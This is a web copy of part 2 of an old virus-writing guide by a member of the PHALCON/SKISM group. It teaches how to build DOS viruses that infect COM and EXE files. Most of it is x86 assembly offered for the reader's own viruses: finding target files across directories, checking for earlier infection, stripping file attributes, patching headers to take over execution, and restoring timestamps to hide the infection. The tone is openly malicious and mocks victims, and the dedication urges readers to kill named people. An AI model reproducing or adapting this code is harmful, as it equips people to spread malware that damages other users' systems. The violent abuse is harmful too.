Make your own free website on

Virus Writing Guide Part 2.

Prev || Home || Next

bar.gif (11170 bytes)

DISCLAIMER: Pretend you see a disclaimer here.
99.44% of the code guaranteed to work.
DEDICATION: Please try your best to kill those
who made this possible, especially that dumb
bitch who doesn't know her own name (Patty),
and her lover Ross M. Greenberg.
GREETS -N- STUFF: Greets go to all the members
of PHALCON/SKISM. I wish to give buckets o'
thanks to Hellraiser, Garbageheap, and Demo-
gorgon. No thanks this time to Orion Rouge,
the godly master of idiocy.

Dark Angel's Chunky Virus Writing Guide
컴컴 컴컴컴 컴컴컴 컴컴 컴컴컴 컴컴


In the last installment of my Virus Writing Guide, I explained the various
parts of a virus and went into a brief discussion about each. In this
issue, I shall devote all my attention towards the replicator portion of
the virus. I promised code and code I shall present.

However, I shall digress for a moment because it has come to my attention
that some mutant copies of the first installment were inadvertently
released. These copies did not contain a vital section concerning the
calculation of offsets.

You never know where your variables and code are going to wind up in
memory. If you think a bit, this should be pretty obvious. Since you are
attaching the virus to the end of a program, the location in memory is
going to be changed, i.e. it will be larger by the size of the infected
program. So, to compensate, we must take the change in offset from the
original virus, or the delta offset, and add that to all references to

Instructions that use displacement, i.e. relative offsets, need not be
changed. These instructions are the JA, JB, JZ class of instructions, JMP
SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of,

Suppose in the following examples, si is somehow loaded with the delta

mov ax, counter
mov ax, word ptr [si+offset counter]

mov dx, offset message
lea dx, [si+offset message]

You may be asking, "how the farg am I supposed to find the delta offset!?"
It is simple enough:

call setup
pop si
sub si, offset setup

An explanation of the above fragment is in order. CALL setup pushes the
location of the next instruction, i.e. offset setup, onto the stack. Next,
this location is POPed into si. Finally, the ORIGINAL offset of setup
(calculated at compile-time) is subtracted from si, giving you the delta
offset. In the original virus, the delta offset will be 0, i.e. the new
location of setup equals the old location of setup.

It is often preferable to use bp as your delta offset, since si is used in
string instructions. Use whichever you like. I'll randomly switch between
the two as suits my mood.

Now back to the other stuff...

A biological virus is a parasitic "organism" which uses its host to spread
itself. It must keep the host alive to keep itself "alive." Only when it
has spread everywhere will the host die a painful, horrible death. The
modern electronic virus is no different. It attaches itself to a host
system and reproduces until the entire system is fucked. It then proceeds
and neatly wrecks the system of the dimwit who caught the virus.

Replication is what distinguishes a virus from a simple trojan. Anybody
can write a trojan, but a virus is much more elegant. It acts almost
invisibly, and catches the victim off-guard when it finally surfaces. The
first question is, of course, how does a virus spread? Both COM and EXE
infections (along with sample infection routines) shall be presented.

There are two major approaches to virii: runtime and TSR. Runtime virii
infect, yup, you guessed it, when the infected program is run, while TSR
virii go resident when the infected programs are run and hook the
interrupts and infect when a file is run, open, closed, and/or upon
termination (i.e. INT 20h, INT 21h/41h). There are advantages and
disadvantages to each. Runtime virii are harder to detect as they don't
show up on memory maps, but, on the other hand, the delay while it searches
for and infects a file may give it away. TSR virii, if not properly done,
can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in
general, smaller since they don't need a function to search for files to
infect. They are also faster than runtime virii, also because they don't
have to search for files to infect. I shall cover runtime virii here, and
TSR virii in a later installment.

Here is a summary of the infection procedure:
1) Find a file to infect.
2) Check if it meets the infection criteria.
3) See if it is already infected and if so, go back to 1.
4) Otherwise, infect the file.
5) Cover your tracks.

I shall go through each of these steps and present sample code for each.
Note that although a complete virus can be built from the information
below, you cannot merely rip the code out and stick it together, as the
fragments are from various different virii that I have written. You must
be somewhat familiar with assembly. I present code fragments; it is up to
you to either use them as examples or modify them for your own virii.

Before you can infect a file, you have to find it first! This can be a
bottleneck in the performance of the virus, so it should be done as
efficiently as possible. For runtime virii, there are a few possibilities.
You could infect files in only the current directory, or you could write a
directory traversal function to infect files in ALL directories (only a few
files per run, of course), or you could infect files in only a few select
directories. Why would you choose to only infect files in the current
directory? It would appear to limit the efficacy of the infections.
However, this is done in some virii either to speed up the virus or to
shorten the code size.

Here is a directory traversal function. It uses recursion, so it is rather
slow, but it does the job. This was excerpted with some modifications from
The Funky Bob Ross Virus [Beta].

traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA

call infect_directory ; Go to search & destroy routines

mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!

mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed

mov ah,4Fh ;Find next
int 21h
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory
; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
mov sp,bp
pop bp
traverse_fcn endp

; Variables
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0

The code is self-explanatory. Make sure you have a function called
infect_directory which scans the directory for possible files to infect and
makes sure it doesn't infect already-infected files. This function, in
turn, calls infect_file which infects the file.

Note, as I said before, this is slow. A quicker method, albeit not as
global, is the "dot dot" method. Hellraiser showed me this neat little
trick. Basically, you keep searching each directory and, if you haven't
infected enough, go to the previous directory (dot dot) and try again, and
so on. The code is simple.

call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; Carry set if in root

; Variables
dotdot db '..',0

Now you must find a file to infect. This is done (in the fragments above)
by a function called infect_directory. This function calls FINDFIRST and
FINDNEXT a couple of times to find files to infect. You should first set
up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that
will affect the command-line parameters of the infected program when
control is returned to it. This is easily done with the following:

mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h

Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST
and FINDNEXT calls:

mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
int 21h
jc none_found
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another

Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively,
you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.

Your virus should be judicious in its infection. For example, you might
not want to infect COMMAND.COM, since some programs (i.e. the puny
FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to
infect the first valid file in the directory. Ambulance Car is an example
of such a virus. Regardless, if there is some infection criteria, you
should check for it now. Here's example code checking if the last two
letters are 'ND', a simple check for COMMAND.COM:

cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
jz fail_check

Every virus has certain characteristics with which you can identify whether
a file is infected already. For example, a certain piece of code may
always occur in a predictable place. Or perhaps the JMP instruction is
always coded in the same manner. Regardless, you should make sure your
virus has a marker so that multiple infections of the same file do not
occur. Here's an example of one such check (for a COM file infector):

mov ah,3Fh ; Read first three
mov cx, 3 ; bytes of the file
lea dx, [bp+offset buffer] ; to the buffer
int 21h

mov ax, 4202h ; SEEK from EOF
xor cx, cx ; DX:CX = offset
xor dx, dx ; Returns filesize
int 21h ; in DX:AX

sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it

mov ah, 3Eh ; else close the file
int 21h ; and go find another

In this example, BX is assumed to hold a file handle to the program to be
checked for infection and virus_size equals the size of the virus. Buffer
is assumed to be a three-byte area of empty space. This code fragment
reads the first three bytes into buffer and then compares the JMP location
(located in the word beginning at buffer+1) to the filesize If the JMP
points to virus_size bytes before the EOF, then the file is already
infected with this virus. Another method would be to search at a certain
location in the file for a marker byte or word. For example:

mov ah, 3Fh ; Read the first four
mov cx, 4 ; bytes of the file into
lea dx, [bp+offset buffer] ; the buffer.
int 21h

cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz bomb_out ; byte for the marker

This is the "guts" of the virus, the heart of the replicator. Once you
have located a potential file, you must save the attributes, time, date,
and size for later use. The following is a breakdown of the DTA:

Offset Size What it is
0h 21 BYTES Reserved, varies as per DOS version
15h BYTE File attribute
16h WORD File time
18h WORD File date
1Ah DWORD File size
1Eh 13 BYTES ASCIIZ filename + extension

As you can see, the DTA holds all the vital information about the file that
you need. The following code fragment is a sample of how to save the info:

lea si, [bp+offset DTA+15h] ; Start from attributes
mov cx, 9 ; Finish with size
lea di, [bp+offset f_attr] ; Move into your locations
rep movsb
; Variables needed
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?

You can now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h. This is to allow infection of system, hidden, and
read only files. Only primitive (or minimal) virii cannot handle such

lea dx, [bp+offset DTA+1eh] ; DX points to filename in
mov ax, 4301h ; DTA
xor cx, cx ; Clear file attributes
int 21h ; Issue the call

Once the attributes have been annihilated, you may open the file with
callous impunity. Use a handle open in read/write mode.

lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
mov ax, 3d02h ; Open read/write mode
int 21h ; duh.
xchg ax, bx ; Handle is more useful in
; BX

Now we come to the part you've all been waiting for: the infection routine.
I am pleased to present code which will handle the infection of COM files.
Yawn, you say, I can already do that with the information presented in the
previous installment. Ah, but there is more, much more. A sample EXE
infector shall also be presented shortly.

The theory behind COM file infection was covered in the last installment,
so I shall not delve into the details again. Here is a sample infector:

; Sample COM infector. Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h

mov ax, 4200h ; Move file pointer to
xor cx, cx ; the beginning of the
xor dx, dx ; file
int 21h

mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Encode JMP instruction to replace beginning of the file
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Write the JMP instruction to the beginning of the file
mov ah, 40h ; Write CX bytes to
mov cx, 3 ; handle in BX from
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h

mov ax, 4202h ; Move file pointer to
xor cx, cx ; end of file
xor dx, dx
int 21h

mov ah, 40h ; Write CX bytes
mov cx, endofvirus - startofpart2 ; Effective size of virus
lea dx, [bp+startofpart2] ; Begin write at start
int 21h

; Variables
buffer1 db 3 dup (?) ; Saved bytes from the
; infected file to restore
; later
buffer2 db 3 dup (?) ; Temp buffer

After some examination, this code will prove to be easy to understand. It
starts by reading the first three bytes into a buffer. Note that you could
have done this in an earlier step, such as when you are checking for a
previous infection. If you have already done this, you obviously don't
need to do it again. This buffer must be stored in the virus so it can be
restored later when the code is executed.

EXE infections are also simple, although a bit harder to understand.
First, the thoery. Here is the format of the EXE header:

Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus

To understand this, you must first realise that EXE files are structured
into segments. These segments may begin and end anywhere. All you have to
do to infect an EXE file is tack on your code to the end. It will then be
in its own segment. Now all you have to do is make the virus code execute
before the program code. Unlike COM infections, no program code is
overwritten, although the header is modified. Note the virus can still
have the V1/V2 structure, but only V2 needs to be concatenated to the end
of the infected EXE file.

Offset 4 (File Pages) holds the size of the file divided by 512, rounded
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
paragraph displacement (relative to the end of the header) of the initial
stack segment and Offset 10h holds the displacement (relative to the start
of the stack segment) of the initial stack pointer. Offset 16h holds the
paragraph displacement of the entry point relative to the end of the header
and offset 14h holds the displacement entry point relative to the start of
the entry segment. Offset 14h and 16h are the key to adding the startup
code (the virus) to the file.

Before you infect the file, you should save the CS:IP and SS:SP found in
the EXE header, as you need to restore them upon execution. Note that
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
what I'm talking about, don't worry; it's only for very picky people. You
should also save the file length as you will need to use that value several
times during the infection routine. Now it's time to calculate some
offsets! To find the new CS:IP and SS:SP, use the following code. It
assumes the file size is loaded in DX:AX.

mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
; ^---make sure you don't destroy the file handle
mov cl, 4 ; Multiply by 16. Won't
shl bx, cl ; work with headers > 4096
; bytes. Oh well!
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
; Now DX:AX is loaded with file size minus header size
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx

This code is rather inefficient. It would probably be easier to divide by
16 first and then perform a straight subtraction from AX, but this happens
to be the code I chose. Such is life. However, this code does have some
advantages over the more efficient one. With this, you are certain that
the IP (in DX) will be under 15. This allows the stack to be in the same
segment as the entry point, as long as the stack pointer is a large number.

Now AX*16+DX points to the end of code. If the virus begins immediately
after the end of the code, AX and DX can be used as the initial CS and IP,
respectively. However, if the virus has some junk (code or data) before
the entry point, add the entry point displacement to DX (no ADC with AX is
necessary since DX will always be small).

mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module

The SP and SS can now be calculated. The SS is equal to the CS. The
actual value of the SP is irrelevant, as long as it is large enough so the
stack will not overwrite code (remember: the stack grows downwards). As a
general rule, make sure the SP is at least 100 bytes larger than the virus
size. This should be sufficient to avoid problems.

mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP

All that is left to fiddle in the header is the file size. Restore the
original file size from wherever you saved it to DX:AX. To calculate
DX:AX/512 and DX:AX MOD 512, use the following code:

mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax

mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.

All that is left is writing back the EXE header and concatenating the virus
to the end of the file. You want code? You get code.

mov ah, 3fh ; BX holds handle
mov cx, 18h ; Don't need entire header
lea dx, [bp+ExeHead]
int 21h

call infectexe

mov ax, 4200h ; Rewind to beginning of
xor cx, cx ; file
xor dx, dx
int 21h

mov ah, 40h ; Write header back
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h

mov ax, 4202h ; Go to end of file
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h ; Note: Only need to write
mov cx, part2size ; part 2 of the virus
lea dx, [bp+offset part2start] ; (Parts of virus
int 21h ; defined in first
; installment of
; the guide)

Note that this code alone is not sufficient to write a COM or EXE infector.
Code is also needed to transfer control back to the parent program. The
information needed to do this shall be presented in the next installment.
In the meantime, you can try to figure it out on your own; just remember
that you must restore all that you changed.

This step, though simple to do, is too easily neglected. It is extremely
important, as a wary user will be alerted to the presence of a virus by any
unnecessary updates to a file. In its simplest form, it involves the
restoration of file attributes, time and date. This is done with the

mov ax, 5701h ; Set file time/date
mov dx, word ptr [bp+f_date] ; DX = date
mov cx, word ptr [bp+f_time] ; CX = time
int 21h

mov ah, 3eh ; Handle close file
int 21h

mov ax, 4301h ; Set attributes
lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA
xor ch, ch
mov cl, byte ptr [bp+f_attrib] ; Attribute in CX
int 21h

Remember also to restore the directory back to the original one if it
changed during the run of the virus.

I have been pleased with the tremendous response to the last installment of
the guide. Next time, I shall cover the rest of the virus as well as
various tips and common tricks helpful in writing virii. Until then, make
sure you look for 40Hex, the official PHALCON/SKISM magazine, where we
share tips and information pertinent to the virus community.

bar.gif (11170 bytes)

Prev || Home || Next